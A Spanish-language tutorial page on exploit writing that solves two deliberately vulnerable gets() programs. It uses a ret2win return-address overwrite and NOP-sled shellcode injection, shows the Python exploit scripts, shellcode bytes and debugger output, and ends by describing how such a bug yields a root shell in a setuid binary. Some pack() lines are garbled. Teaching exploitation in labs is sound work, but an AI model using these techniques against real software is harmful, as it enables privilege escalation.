# ATAQUE RET2WIN

### Análisis del programa vulnerable <a href="#analisis-del-programa-vulnerable" id="analisis-del-programa-vulnerable"></a>

### Stack 4

```c
#include 
int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x000d0a00)
                printf("you win!\n");
}
```

#### ¿Qué hace el programa? <a href="#que-hace-el-programa" id="que-hace-el-programa"></a>

Se declaran dos variables locales: `cookie` y `buf`. Y una función `gets(buf)` que toma datos de la entrada estándar y los guarda en `buf`. La única diferencia con programas anteriores es que esta vez el valor de `cookie` debe ser `0x000d0a00`.

#### Layout de la pila antes del exploit: <a href="#layout-de-la-pila-antes-del-exploit" id="layout-de-la-pila-antes-del-exploit"></a>

Es idéntico al de programas anteriores.\
&#x20;Antes de ejecutar `gets(buf)` el mapa de la pila del programa es el siguiente:

```c
       int main() {
           int cookie;
           char buf[80];
           
           printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip =>     gets(buf);
   
           if (cookie == 0x000d0a00)
                   printf("you win!\n");
       }
```

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDO2lY_KlkfpsUTDML%2Fimagen.png?alt=media\&token=374d0a59-6243-4e24-a6d8-195b7393c142)

Información útil del mapa de la pila:

```c
[ebp-0x54]  = buf
[ebp-0x4]   = cookie
[ebp]       = ebp anterior guardado
[ebp+0x4]   = dirección de retorno
```

#### Solución anterior: modificar valor de cookie <a href="#solucion-anterior-modificar-valor-de-cookie" id="solucion-anterior-modificar-valor-de-cookie"></a>

Probamos con la misma estrategia que en los problemas anteriores, modificando el valor de `cookie` para que el condicional se evalúe como verdadero.

```
#exploit.py

#!/usr/bin/python
output = "A" * 80 + "\x00\x0a\x0d\x00"
print output
```

Pero observamos que el mensaje ganador no se imprime:

```
user@abos:~$ python exploit.py |./stack4        
buf: bffff5b4 cookie: bffff604
user@abos:~$
```

Si debugeamos el programa vulnerable con [`gdb`](https://fundacion-sadosky.github.io/guia-escritura-exploits/herramientas.html#debugger-gdb) podemos observar porqué.

```
user@abos:~$ python exploit.py > exploit 

user@abos:~$ gdb stack4
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Reading symbols from stack4...done.

>>> break main
Breakpoint 1 at 0x8048461: file stack4.c, line 10.

>>> run < exploit
```

Avanzamos varias instrucciones (con el operador `ni` en `gdb`) hasta llegar a la evaluación condicional y nos detenemos en la instrucción encargada de comparar el valor de `cookie` con `0x000d0a00`:

```
main+39 mov    eax,DWORD PTR [ebp-0x4]    ; se almacena el valor de cookie en eax
main+42 cmp    eax,0x0d0a00               ; se evalua ¿cookie == 0x000d0a00? 
```

Si detenemos la ejecución antes de la comparación podemos observar el valor del registro `eax` donde está almacenado el valor de `cookie`.

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDO9uv_zkuyxfmgvs-%2Fimagen.png?alt=media\&token=3610c104-4557-4c38-8e2e-82bf280b9449)

Apesar de que en `exploit.py` apuntamos a sobreescribir `cookie` con el valor `\x00\x0a\x0d\x00`, vemos que el registro `eax` que almacena el valor de esa variable tiene un valor de `0x00000000`.\
&#x20;Si analizamos la documentación de `gets()` (con `man gets`) vemos que la lectura de caracteres se interrumpe con el caracter de nueva línea `\n` (el carácter de salto de línea ASCII en hexa es `0a`). Por lo tanto la escritura en `cookie` de `\x00\x0a\x0d\x00` lee `0x00` y se interrumpe por el carácter `0x0a` que es reemplazado por un caracter nulo.\
&#x20;De esta manera `cookie` no tiene el valor adecuado y no se cumple la condición.

#### ¿Cuál es la dificultad principal? <a href="#cual-es-la-dificultad-principal" id="cual-es-la-dificultad-principal"></a>

En el valor de `cookie` hay caracteres que controlan el funcionamiento de `gets()`:

{% hint style="success" %}

1. `gets()`, `fgets()`: leen por stdin hasta el byte de control `\x0a`.
2. `strcpy()`, `strlen()`, `strcmp()`: manipulan el string hasta `\x00`.
   {% endhint %}

### Redireccionando el flujo de ejecución <a href="#ataque-smash-the-stack" id="ataque-smash-the-stack"></a>

Previamente se usó una estrategia de corrupción de la pila para modificar el valor de una variable local.\
&#x20;No obstante, el ataque **Smash the stack** tradicional tiene como objetivo controlar el flujo de ejecución del programa vulnerable para ejecutar código malicioso. Para ello es necesario controlar el registro `eip`. Este registro no puede ser modificado de manera directa sino que su valor cambia de acuerdo a las instrucciones de máquina. Por ejemplo, la instrucción `ret` toma una dirección del tope de la pila y la almacena en `eip` para que el flujo de ejecución salte inmediatamente después a ella.\
&#x20;De esta manera si es posible controlar las direcciones de retorno almacenadas en la pila es posible controlar, en última instancia, el valor del registro `eip` y por ende el flujo de ejecución.

Para ello este tipo de ataques cuenta con dos pasos. Primero, gracias al desbordamiento de un búfer, se reescribe una dirección de retorno en la pila. Segundo, se inyecta código malicioso en la pila del proceso, para apuntar allí la dirección de retorno.\
&#x20;Entonces, esta vez la corrupción de la pila tendrá como objetivo modificar el retorno de una rutina para lograr un salto a una dirección determinada dentro del programa vulnerable.

El objetivo ya no será modificar el valor de `cookie` sino aprovecharnos de que `printf("you win!\n")` es parte del programa vulnerable. De esta manera con una corrupción de la pila modificaremos la dirección de retorno de `main()` para que, al retornar, el flujo de ejecución salte directamente a la línea de código `printf("you win!\n")`, sin importar la evaluación de `cookie`.

```
   <main>:
        if (cookie == 0x000d0a00)
            mov    eax,DWORD PTR [ebp-0x4]
            cmp    eax,0x41424344
            jne    0x80484a9 <main+62>

          printf("you win!\n");
      -->      push   0x8048548
      |        call   0x8048340 <puts@plt>     ; llamado a puts() porque string es estático
      |        add    esp,0x4
      |        mov    eax,0x0
      |
      |  }   
      |      leave  
eip=> +---<  ret 
```

La estrategia será ingresar un input adecuado para sobreescribir la dirección de retorno de `main()` almacenada en la pila, y reemplazarla por la dirección de `printf()` que imprime el mensaje ganador.

* Identificamos la dirección de la llamada a `printf()`

  ```
  user@abos:~$ objdump -M intel -S stack4
  ```

  ```
       Disassembly of section .text:

       08048390 <_start>:
     ....

       0804848b <main>:
            if (cookie == 0x41424344)
            08048492:    mov    eax,DWORD PTR [ebp-0x4]
            08048495:    cmp    eax,0x41424344
            0804849a:    jne    0x80484a9 <main+62>
     
              printf("you win!\n");
          --> 0x0804849c:    push   0x8048548              ; addr de la llamada a printf()
          |   0x080484a1:    call   0x8048340 <puts@plt>
          |   0x080484a6:    add    esp,0x4
          |   0x080484a9:    mov    eax,0x0
          |
          |  }   
          |   0x080484ae:   leave  
  eip =>  +-- 0x080484af:    ret 
  ```

  Al ejecutar la instrucción leave, se reestablece el tope de la pila (`esp` apunta a `ebp`) y se actualiza el registro `ebp` al marco de la función anterior (de forma simplificada correspondería a `_start`) con un `pop ebp`. En este punto, el tope de la pila `esp` apunta a la dirección de retorno de `main()`. La instrucción `ret` desapila una dirección del tope de la pila y la almacena en el registro `eip`. El programa continúa su ejecución en esa instrucción indicada por `eip`.

  El objetivo es generar un layout de pila tal que la dirección de retorno en el tope de la pila al momento de ejecutar la instrucción `ret` sea la dirección de la primer instrucción del `printf()` (`0x0804849c: push 0x8048548`).
* Planificamos el overflow por entrada estándar, considerando el formato little endian en la dirección de `printf`:&#x20;

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDP5fjymLZceEo3-76%2Fimagen.png?alt=media\&token=d4dfc51e-2a67-4c50-84a1-8505064671cb)

* Armamos un archivo en Python para ingresar el input: exploit.py

```
#! /usr/bin/env python
"""Uso: ./exploit.py | ./stack4 """
import sys
from struct import pack
   
ret_addr = 0x0804849c                               #addr de printf("you win!")
   
exploit  = "A" * 80                                 #fill buf
exploit += "BBBB"                                   #fill cookie
exploit += "CCCC"                                   #fill ebp
exploit += pack(", ret_addr)                     #set return address
   
sys.stdout.write(exploit)
```

> **Consideraciones**: en python es posible convertir a formato little endian una dirección importando `struct` y usando la función `pack`: `pack("`

1. `Ejecutamos el exploit`

   ```
   user@abos:~$ ./exploit.py | ./stack4
   buf: bffff5a4 cookie: bffff5f4
   you win!
   Segmentation fault
   user@abos:~$
   ```

   La condición que evalúa el valor de `cookie` es falsa, pero después de ejecutarse el código de `main()` la dirección de retorno apunta a `printf()`, por lo que se salta allí y se imprime `you win!` por pantalla.

   Gráficamente logramos el siguiente resultado:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDPCVLURZ2wJPnJhWk%2Fimagen.png?alt=media\&token=7144c1d7-72d9-46b7-a7a4-8fbf7a441dce)

Para lograr sobreescribir la dirección de retorno de `main()` tuvimos que pisar valores importantes como el puntero `ebp` almacenado en la pila. Es por ello que luego de imprimir el mensaje ganador se produce una violación de segmento al intentar acceder a direcciones por fuera del mapa de memoria del proceso. Si reconstruyeramos el layout de la pila podríamos lograr una salida del programa sin errores. …………………………………………………………………………………………………………………………………………………

## ATAQUE "SMASH THE STACK" CON INYECCIÓN DE CÓDIGO <a href="#ataque-smash-the-stack-con-inyeccion-de-codigo" id="ataque-smash-the-stack-con-inyeccion-de-codigo"></a>

### Análisis del programa vulnerable <a href="#analisis-del-programa-vulnerable-1" id="analisis-del-programa-vulnerable-1"></a>

### Stack 5

```c
        #include 

        int main() {
                int cookie;
                char buf[80];

                printf("buf: %08x cookie: %08x\n", &buf, &cookie);
                gets(buf);

                if (cookie == 0x000d0a00)
                        printf("you loose!\n");
        }
```

#### ¿Qué hace el programa? <a href="#que-hace-el-programa-1" id="que-hace-el-programa-1"></a>

El programa es idéntico al de stack4, pero se imprime un mensaje diferente.

#### Solución anterior: aprovechar mensaje existente <a href="#solucion-anterior-aprovechar-mensaje-existente" id="solucion-anterior-aprovechar-mensaje-existente"></a>

No es de utilidad usar la misma estrategia que en el exploit del stack4, dado que si logramos saltear la evaluación condicional, el mensaje que logramos imprimir no es el deseado.

```bash
user@abos:~$ python exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
==> you loose!
```

#### ¿Cuál es la dificultad principal? <a href="#cual-es-la-dificultad-principal-1" id="cual-es-la-dificultad-principal-1"></a>

¡Ya no podemos saltar al mensaje ganador! El mensaje ganador a imprimir ya no es parte del programa vulnerable.\
&#x20;Una opción entonces es crear un propio programa que imprima el mensaje ganador: nuestro shellcode.

### RET2WIN <a href="#ataque-smash-the-stack-con-inyeccion-de-codigo-1" id="ataque-smash-the-stack-con-inyeccion-de-codigo-1"></a>

Necesitamos imprimir un mensaje ganador que no está en el programa vulnerable. Si bien es posible pensar diferentes ataques para lograr imprimir el string deseado, es una buena excusa para planificar una estrategia de inyección de código.

La inyección de código malicioso en la pila y su posterior ejecución conforman una técnica clásica para explotar programas vulnerables que es necesario conocer aunque su utilización no sea tan simple en escenarios actuales. Es por ello que aún es necesario deshabilitar artificialmente las mitigaciones que impiden ejecución de código en la pila (X^W) y la aleatoriedad en las direcciones de memoria.

La estrategia de ataque involucra crear un programa o shellcode que imprima por salida estándar el mensaje ganador, inyectarlo en la pila y ejecutarlo.

#### Layout de la pila deseado: <a href="#layout-de-la-pila-deseado" id="layout-de-la-pila-deseado"></a>

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDPhUwE1p2pioJX959%2Fimagen.png?alt=media\&token=215442df-d38e-45f3-8147-25954fa514ae)

En `buf` ya no va a ir basura sino el shellcode antecedido por varios NOPs. Aprovechamos `gets()` para copiar los NOPs y el shellcode como string en la pila en `buf` y sobreescribirmos la dirección de retorno para que apunte a los NOPs de `buf`.

* Programamos el shellcode\
  &#x20;Nuestro shellcode es un programa simple creado en assembler que con una llamada al sistema imprime “you win!” por salida estándar. \
  \
  Podemos aprender a hacerlo en el [**artículo sobre shellcodes**](https://ajcruz15.gitbook.io/red-team/pwn-linux/teoria/syscall-y-shellcode).

  ```
  shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
  shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
  shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"            
  ```
* Averiguamos dirección de `buf` en la pila ejecutando el programa vulnerable

  ```
  user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb 
  -mpreferred-stack-boundary=2 -z execstack -o stack5 stack5.c
     
  user@abos:~$ ./stack5
  buf: bffff5b4 cookie: bffff604
  ```
* Planificamos el overflow por entrada estándar, considerando el formato little endian:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDQT86EDLAsQo8lkNN%2Fimagen.png?alt=media\&token=f50c93f1-baf7-4b6f-bf3b-271b4df0e3cd)

* Armamos un archivo en Python para ingresar el input

  ```
     
  #! /usr/bin/env python
  """Uso: ./exploit.py | ./stack5 """
     
  import sys
  from struct import pack
     
  #shellcode, imprime you win!
  shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
  shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
  shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41" 
                 
  ret_addr = 0xbffff5b4                           #addr de buf
     
  exploit  = "\x90" * 20                          #nops iniciales buf
  exploit += shellcode                            #shellcode
  exploit += "A" * (80-20-len(shellcode))         #padding hasta fin de buf
  exploit += "BBBB"                               #lleno cookie
  exploit += "CCCC"                               #lleno ebp
  exploit += pack(", ret_addr)                 #defino return address
     
  sys.stdout.write(exploit)    
  ```
* Ejecutamos el exploit

  ```
  user@abos:~$ ./exploit.py | ./stack5
  buf: bffff5b4 cookie: bffff604
  you win!
  ```

  Gráficamente logramos el siguiente resultado:

![](https://3403442240-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhLaK1R01rLyFh-Jcoj%2F-MkDKmbQGOthT3NZRwqR%2F-MkDQZ8ElpQKIMSKTR0f%2Fimagen.png?alt=media\&token=d3a068bf-3c52-4587-b523-373c51a7e933)

Es interesante tener en cuenta que el shellcode utilizado realiza un syscall `write` para imprimir el mensaje y luego un syscall `exit` para finalizar el proceso exitosamente. A diferencia de lo que sucedía en el stack4 (ejercicio en el que la destrucción del layout de la pila provocaba una violación de segmento), en este caso por el modo en que fue construido el shellcode el programa finaliza sin errores.

#### Lograr privilegios de root <a href="#lograr-privilegios-de-root" id="lograr-privilegios-de-root"></a>

En escenarios reales el objetivo no será imprimir un mensaje ganador sino lograr privilegios de root para exponer archivos e información privada, manipular logs, etc.\
&#x20;Existen varias estrategias para lograr una shell con privilegios de root o directamente para escalar privilegios a partir de una shell, que exceden el objetivo de esta guía en este punto. Por ejemplo en un escenario en el que se ataca un binario compilado con setuid root, si se logra que el programa vulnerable realice una syscall execve y ejecute una shell con `execve("/bin/sh")` ésta será una root shell. Es por ello que en la compilación del binario ejecutable modificamos los permisos de la siguiente manera:

```bash
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb 
-mpreferred-stack-boundary=2 -z execstack -o abo abo.c
user@abos:~$ sudo chown root ./abo; sudo chmod u+s ./abo  ; root owner & setuid
user@abos:~$ ls -la
-rwsr-xr-x  1 root   user XXXX Jan 01 00:00 abo
```
